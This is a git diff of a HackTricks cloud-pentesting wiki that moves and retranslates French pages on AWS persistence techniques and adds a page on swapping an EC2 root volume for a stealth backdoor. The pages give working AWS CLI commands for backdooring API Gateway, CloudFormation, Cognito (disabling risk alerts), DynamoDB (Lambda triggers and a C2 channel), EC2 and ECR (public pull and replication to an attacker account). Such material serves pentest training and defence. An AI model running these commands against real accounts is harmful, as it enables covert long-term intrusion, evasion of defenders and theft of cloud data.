mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-23 07:29:04 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-unauthenticated-enum-
This commit is contained in:
@@ -1,32 +0,0 @@
|
||||
# AWS - API Gateway Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Pour plus d'informations, allez à :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Politique de Ressource
|
||||
|
||||
Modifiez la politique de ressource des API gateway pour vous accorder l'accès.
|
||||
|
||||
### Modifier les Authorizers Lambda
|
||||
|
||||
Modifiez le code des authorizers lambda pour vous accorder l'accès à tous les points de terminaison.\
|
||||
Ou supprimez simplement l'utilisation de l'authorizer.
|
||||
|
||||
### Permissions IAM
|
||||
|
||||
Si une ressource utilise un authorizer IAM, vous pourriez vous accorder l'accès en modifiant les permissions IAM.\
|
||||
Ou supprimez simplement l'utilisation de l'authorizer.
|
||||
|
||||
### Clés API
|
||||
|
||||
Si des clés API sont utilisées, vous pourriez les leak pour maintenir la persistance ou même en créer de nouvelles.\
|
||||
Ou supprimez simplement l'utilisation des clés API.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,32 @@
|
||||
# AWS - API Gateway Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Pour plus d'informations, voir :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Resource Policy
|
||||
|
||||
Modifiez la resource policy de l'API gateway(s) pour vous accorder l'accès.
|
||||
|
||||
### Modify Lambda Authorizers
|
||||
|
||||
Modifiez le code des lambda authorizers pour vous accorder l'accès à tous les endpoints.\
|
||||
Ou supprimez simplement l'utilisation de l'authorizer.
|
||||
|
||||
### IAM Permissions
|
||||
|
||||
Si une ressource utilise un IAM authorizer, vous pouvez vous donner l'accès en modifiant les IAM permissions.\
|
||||
Ou supprimez simplement l'utilisation de l'authorizer.
|
||||
|
||||
### API Keys
|
||||
|
||||
Si des API keys sont utilisées, vous pouvez les leak pour maintenir la persistance ou même en créer de nouvelles.\
|
||||
Ou supprimez simplement l'utilisation des API keys.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,23 +0,0 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Pour plus d'informations, accédez à :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
Le AWS CDK déploie une pile CFN appelée `CDKToolkit`. Cette pile prend en charge un paramètre `TrustedAccounts` qui permet aux comptes externes de déployer des projets CDK dans le compte de la victime. Un attaquant peut en abuser pour se donner un accès indéfini au compte de la victime, soit en utilisant l'interface en ligne de commande AWS pour redéployer la pile avec des paramètres, soit l'interface en ligne de commande AWS CDK.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,23 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
L'AWS CDK déploie une stack CFN appelée `CDKToolkit`. Cette stack prend en charge un paramètre `TrustedAccounts` qui permet à des comptes externes de déployer des projets CDK dans le compte victime. Un attaquant peut abuser de cela pour s'octroyer un accès indéfini au compte victime, soit en utilisant l'AWS cli pour redéployer la stack avec des paramètres, soit en utilisant l'AWS CDK cli.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,40 +0,0 @@
|
||||
# AWS - Cognito Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
Pour plus d'informations, accédez à :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Persistance des utilisateurs
|
||||
|
||||
Cognito est un service qui permet d'attribuer des rôles aux utilisateurs non authentifiés et authentifiés et de contrôler un annuaire d'utilisateurs. Plusieurs configurations différentes peuvent être modifiées pour maintenir une certaine persistance, comme :
|
||||
|
||||
- **Ajouter un User Pool** contrôlé par l'utilisateur à un Identity Pool
|
||||
- Donner un **rôle IAM à un Identity Pool non authentifié et permettre le flux d'authentification de base**
|
||||
- Ou à un **Identity Pool authentifié** si l'attaquant peut se connecter
|
||||
- Ou **améliorer les permissions** des rôles donnés
|
||||
- **Créer, vérifier & privesc** via des utilisateurs contrôlés par des attributs ou de nouveaux utilisateurs dans un **User Pool**
|
||||
- **Permettre aux fournisseurs d'identité externes** de se connecter dans un User Pool ou dans un Identity Pool
|
||||
|
||||
Vérifiez comment effectuer ces actions dans
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-cognito-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
Un attaquant avec ce privilège pourrait modifier la configuration des risques pour pouvoir se connecter en tant qu'utilisateur Cognito **sans que des alarmes ne soient déclenchées**. [**Consultez le cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) pour vérifier toutes les options :
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
Par défaut, cela est désactivé :
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,40 @@
|
||||
# AWS - Cognito Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### User persistence
|
||||
|
||||
Cognito est un service qui permet d'attribuer des rôles aux utilisateurs non authentifiés et authentifiés et de contrôler un annuaire d'utilisateurs. Plusieurs configurations différentes peuvent être modifiées pour maintenir une certaine persistance, comme :
|
||||
|
||||
- **Adding a User Pool** contrôlé par l'utilisateur à un Identity Pool
|
||||
- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
|
||||
- Ou à un **authenticated Identity Pool** si l'attaquant peut se connecter
|
||||
- Ou **améliorer les permissions** des rôles donnés
|
||||
- **Create, verify & privesc** via des utilisateurs contrôlés par des attributs ou de nouveaux utilisateurs dans un **User Pool**
|
||||
- **Allowing external Identity Providers** à se connecter dans un User Pool ou dans un Identity Pool
|
||||
|
||||
Check how to do these actions in
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-cognito-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
Un attaquant disposant de ce privilège pourrait modifier la configuration des risques pour pouvoir se connecter en tant qu'utilisateur Cognito **sans déclencher d'alertes**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
Par défaut, ceci est désactivé :
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,18 +1,18 @@
|
||||
# AWS - Persistance DynamoDB
|
||||
# AWS - DynamoDB Persistance
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
Pour plus d'informations, accédez à :
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Déclencheurs DynamoDB avec une porte dérobée Lambda
|
||||
### Déclencheurs DynamoDB avec Lambda Backdoor
|
||||
|
||||
En utilisant des déclencheurs DynamoDB, un attaquant peut créer une **porte dérobée discrète** en associant une fonction Lambda malveillante à une table. La fonction Lambda peut être déclenchée lorsqu'un élément est ajouté, modifié ou supprimé, permettant à l'attaquant d'exécuter du code arbitraire au sein du compte AWS.
|
||||
En utilisant les déclencheurs DynamoDB, un attaquant peut créer une **backdoor furtive** en associant une fonction Lambda malveillante à une table. La fonction Lambda peut être déclenchée lorsqu'un élément est ajouté, modifié ou supprimé, permettant à l'attaquant d'exécuter du code arbitraire dans le compte AWS.
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
@@ -36,9 +36,9 @@ aws lambda create-event-source-mapping \
|
||||
```
|
||||
Pour maintenir la persistance, l'attaquant peut créer ou modifier des éléments dans la table DynamoDB, ce qui déclenchera la fonction Lambda malveillante. Cela permet à l'attaquant d'exécuter du code au sein du compte AWS sans interaction directe avec la fonction Lambda.
|
||||
|
||||
### DynamoDB comme canal C2
|
||||
### DynamoDB comme un command and control (C2) channel
|
||||
|
||||
Un attaquant peut utiliser une table DynamoDB comme un **canal de commande et de contrôle (C2)** en créant des éléments contenant des commandes et en utilisant des instances compromises ou des fonctions Lambda pour récupérer et exécuter ces commandes.
|
||||
Un attaquant peut utiliser une table DynamoDB comme un **command and control (C2) channel** en créant des éléments contenant des commandes et en utilisant des instances compromises ou des fonctions Lambda pour récupérer et exécuter ces commandes.
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
@@ -54,6 +54,6 @@ aws dynamodb put-item \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
Les instances compromises ou les fonctions Lambda peuvent vérifier périodiquement la table C2 pour de nouvelles commandes, les exécuter et, en option, rapporter les résultats à la table. Cela permet à l'attaquant de maintenir la persistance et le contrôle sur les ressources compromises.
|
||||
Les instances compromises ou les fonctions Lambda peuvent périodiquement consulter la C2 table pour de nouvelles commandes, les exécuter et, éventuellement, rapporter les résultats dans la table. Cela permet à l'attaquant de maintenir persistence et contrôle sur les ressources compromises.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,54 +0,0 @@
|
||||
# AWS - EC2 Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Persistence de suivi de connexion du groupe de sécurité
|
||||
|
||||
Si un défenseur découvre qu'une **instance EC2 a été compromise**, il essaiera probablement d'**isoler** le **réseau** de la machine. Il pourrait le faire avec un **Deny NACL** explicite (mais les NACL affectent tout le sous-réseau), ou en **modifiant le groupe de sécurité** pour ne pas permettre **aucun type de trafic entrant ou sortant**.
|
||||
|
||||
Si l'attaquant avait un **reverse shell provenant de la machine**, même si le SG est modifié pour ne pas permettre de trafic entrant ou sortant, la **connexion ne sera pas interrompue en raison de** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### Gestionnaire de cycle de vie EC2
|
||||
|
||||
Ce service permet de **programmer** la **création d'AMIs et de snapshots** et même de **les partager avec d'autres comptes**.\
|
||||
Un attaquant pourrait configurer la **génération d'AMIs ou de snapshots** de toutes les images ou de tous les volumes **toutes les semaines** et **les partager avec son compte**.
|
||||
|
||||
### Instances programmées
|
||||
|
||||
Il est possible de programmer des instances pour s'exécuter quotidiennement, hebdomadairement ou même mensuellement. Un attaquant pourrait exécuter une machine avec des privilèges élevés ou un accès intéressant où il pourrait accéder.
|
||||
|
||||
### Demande de flotte Spot
|
||||
|
||||
Les instances Spot sont **moins chères** que les instances régulières. Un attaquant pourrait lancer une **petite demande de flotte Spot pour 5 ans** (par exemple), avec une **attribution automatique d'IP** et des **données utilisateur** qui envoient à l'attaquant **quand l'instance Spot démarre** et l'**adresse IP** et avec un **rôle IAM à privilèges élevés**.
|
||||
|
||||
### Instances de porte dérobée
|
||||
|
||||
Un attaquant pourrait accéder aux instances et les compromettre :
|
||||
|
||||
- En utilisant un **rootkit** traditionnel par exemple
|
||||
- En ajoutant une nouvelle **clé SSH publique** (voir [options de privesc EC2](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- En compromettant les **données utilisateur**
|
||||
|
||||
### **Configuration de lancement de porte dérobée**
|
||||
|
||||
- Compromettre l'AMI utilisée
|
||||
- Compromettre les données utilisateur
|
||||
- Compromettre la paire de clés
|
||||
|
||||
### VPN
|
||||
|
||||
Créer un VPN afin que l'attaquant puisse se connecter directement à travers celui-ci au VPC.
|
||||
|
||||
### Peering VPC
|
||||
|
||||
Créer une connexion de peering entre le VPC de la victime et le VPC de l'attaquant afin qu'il puisse accéder au VPC de la victime.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,62 @@
|
||||
# AWS - EC2 Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
Pour plus d'informations, voir :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
|
||||
Si un défenseur découvre qu'une **instance EC2 a été compromise**, il essaiera probablement d'**isoler** le **réseau** de la machine. Il pourrait le faire avec un **Deny NACL** explicite (mais les NACLs affectent l'ensemble du subnet), ou en **modifiant le security group** pour n'autoriser **aucun trafic entrant ou sortant**.
|
||||
|
||||
Si l'attaquant disposait d'un **reverse shell initié depuis la machine**, même si le SG est modifié pour ne pas permettre de trafic entrant ou sortant, la **connexion ne sera pas terminée en raison de** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
Ce service permet de **planifier** la **création d'AMIs et de snapshots** et même de **les partager avec d'autres comptes**.\
|
||||
Un attaquant pourrait configurer la **génération d'AMIs ou de snapshots** de toutes les images ou de tous les volumes **chaque semaine** et **les partager avec son compte**.
|
||||
|
||||
### Scheduled Instances
|
||||
|
||||
Il est possible de planifier l'exécution d'instances quotidiennement, hebdomadairement ou même mensuellement. Un attaquant pourrait faire tourner une machine disposant de privilèges élevés ou d'un accès intéressant auquel il pourrait accéder.
|
||||
|
||||
### Spot Fleet Request
|
||||
|
||||
Les Spot instances sont **moins chères** que les instances régulières. Un attaquant pourrait lancer une **petite spot fleet request pour 5 year** (par exemple), avec une attribution **automatique d'IP** et un **user data** qui envoie à l'attaquant **lorsque la spot instance démarre** l'**adresse IP**, et avec un **IAM role** hautement privilégié.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
Un attaquant pourrait obtenir l'accès aux instances et les backdoorer :
|
||||
|
||||
- En utilisant un **rootkit** traditionnel par exemple
|
||||
- En ajoutant une nouvelle **public SSH key** (check [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
|
||||
- Installer une backdoor dans le **User Data**
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
|
||||
- Installer une backdoor dans l'AMI utilisée
|
||||
- Installer une backdoor dans le User Data
|
||||
- Installer une backdoor dans le Key Pair
|
||||
|
||||
### EC2 ReplaceRootVolume Task (Stealth Backdoor)
|
||||
|
||||
Échanger le volume EBS racine d'une instance en cours d'exécution contre un volume construit à partir d'une AMI ou d'un snapshot contrôlé par l'attaquant en utilisant `CreateReplaceRootVolumeTask`. L'instance conserve ses ENIs, IPs, et role, démarrant ainsi dans du code malveillant tout en semblant inchangée.
|
||||
|
||||
{{#ref}}
|
||||
../aws-ec2-replace-root-volume-persistence/README.md
|
||||
{{#endref}}
|
||||
|
||||
### VPN
|
||||
|
||||
Créer un VPN pour que l'attaquant puisse se connecter directement au VPC.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Créer une connexion de peering entre le VPC victime et le VPC de l'attaquant afin qu'il puisse accéder au VPC victime.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,75 @@
|
||||
# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Exploiter **ec2:CreateReplaceRootVolumeTask** pour remplacer le volume racine EBS d'une instance en cours d'exécution par un volume restauré depuis une AMI ou un snapshot contrôlé par l'attaquant. L'instance redémarre automatiquement et reprend avec le système de fichiers racine contrôlé par l'attaquant tout en conservant les ENIs, les IP privées/publiques, les volumes non-racine attachés, et les métadonnées de l'instance / le rôle IAM.
|
||||
|
||||
## Prérequis
|
||||
- L'instance cible utilise EBS comme stockage racine et s'exécute dans la même région.
|
||||
- AMI ou snapshot compatible : même architecture/virtualisation/mode de démarrage (et codes produit, si applicables) que l'instance cible.
|
||||
|
||||
## Vérifications préalables
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
INSTANCE_ID=<victim instance>
|
||||
|
||||
# Ensure EBS-backed
|
||||
aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text
|
||||
|
||||
# Capture current network and root volume
|
||||
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
|
||||
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
|
||||
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
|
||||
```
|
||||
## Remplacer le volume racine depuis une AMI (préféré)
|
||||
```bash
|
||||
IMAGE_ID=<attacker-controlled compatible AMI>
|
||||
|
||||
# Start task
|
||||
TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text)
|
||||
|
||||
# Poll until state == succeeded
|
||||
while true; do
|
||||
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
|
||||
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
|
||||
done
|
||||
```
|
||||
Alternative — en utilisant un snapshot:
|
||||
```bash
|
||||
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
|
||||
```
|
||||
## Preuves / Vérification
|
||||
```bash
|
||||
# Instance auto-reboots; network identity is preserved
|
||||
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
|
||||
# Compare before vs after
|
||||
printf "ENI:%s IP:%s
|
||||
ORIG_VOL:%s
|
||||
NEW_VOL:%s
|
||||
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
|
||||
|
||||
# (Optional) Inspect task details and console output
|
||||
aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json
|
||||
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
|
||||
```
|
||||
Résultat attendu : ENI_ID et PRI_IP restent les mêmes ; l'ID du root volume passe de $ORIG_VOL à $NEW_VOL. Le système démarre avec le système de fichiers provenant de l'AMI/snapshot contrôlée par l'attaquant.
|
||||
|
||||
## Remarques
|
||||
- L'API ne requiert pas que vous arrêtiez manuellement l'instance ; EC2 orchestre un redémarrage.
|
||||
- Par défaut, le volume EBS racine remplacé (ancien) est détaché et laissé dans le compte (DeleteReplacedRootVolume=false). Cela peut être utilisé pour une restauration ou doit être supprimé pour éviter des coûts.
|
||||
|
||||
## Restauration / Nettoyage
|
||||
```bash
|
||||
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
|
||||
# you can create a snapshot and replace again from it:
|
||||
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
|
||||
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
|
||||
|
||||
# Or simply delete the detached old root volume if not needed:
|
||||
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,91 +0,0 @@
|
||||
# AWS - ECR Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Image Docker Cachée avec Code Malveillant
|
||||
|
||||
Un attaquant pourrait **télécharger une image Docker contenant du code malveillant** dans un dépôt ECR et l'utiliser pour maintenir la persistance dans le compte AWS cible. L'attaquant pourrait ensuite déployer l'image malveillante sur divers services au sein du compte, tels qu'Amazon ECS ou EKS, de manière furtive.
|
||||
|
||||
### Politique de Dépôt
|
||||
|
||||
Ajoutez une politique à un seul dépôt vous accordant (ou à tout le monde) l'accès à un dépôt :
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Notez que ECR nécessite que les utilisateurs aient **la permission** d'effectuer des appels à l'API **`ecr:GetAuthorizationToken`** via une politique IAM **avant de pouvoir s'authentifier** auprès d'un registre et pousser ou tirer des images de tout dépôt Amazon ECR.
|
||||
|
||||
### Politique de Registre & Réplication Inter-comptes
|
||||
|
||||
Il est possible de répliquer automatiquement un registre dans un compte externe en configurant la réplication inter-comptes, où vous devez **indiquer le compte externe** dans lequel vous souhaitez répliquer le registre.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Tout d'abord, vous devez donner au compte externe un accès sur le registre avec une **politique de registre** comme :
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
Ensuite, appliquez la configuration de réplication :
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,145 @@
|
||||
# AWS - ECR Persistance
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Image Docker cachée contenant du code malveillant
|
||||
|
||||
Un attaquant pourrait **téléverser une image Docker contenant du code malveillant** dans un repository ECR et l'utiliser pour maintenir la persistance dans le compte AWS cible. L'attaquant pourrait ensuite déployer l'image malveillante sur divers services du compte, tels que Amazon ECS ou EKS, de manière discrète.
|
||||
|
||||
### Politique du dépôt
|
||||
|
||||
Ajoutez une politique à un dépôt unique pour vous accorder (ou accorder à tout le monde) l'accès au dépôt :
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Notez que ECR exige que les utilisateurs disposent de **l'autorisation** d'appeler l'API **`ecr:GetAuthorizationToken`** via une stratégie IAM **avant de pouvoir s'authentifier** sur un registre et pousser ou tirer des images depuis n'importe quel dépôt Amazon ECR.
|
||||
|
||||
### Politique de registre et réplication inter-comptes
|
||||
|
||||
Il est possible de répliquer automatiquement un registre dans un compte externe en configurant la réplication inter-comptes, où vous devez **indiquer le compte externe** dans lequel vous souhaitez répliquer le registre.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Tout d'abord, vous devez accorder au compte externe l'accès au registre via une **politique de registre** telle que :
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
Ensuite, appliquez la configuration de réplication :
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
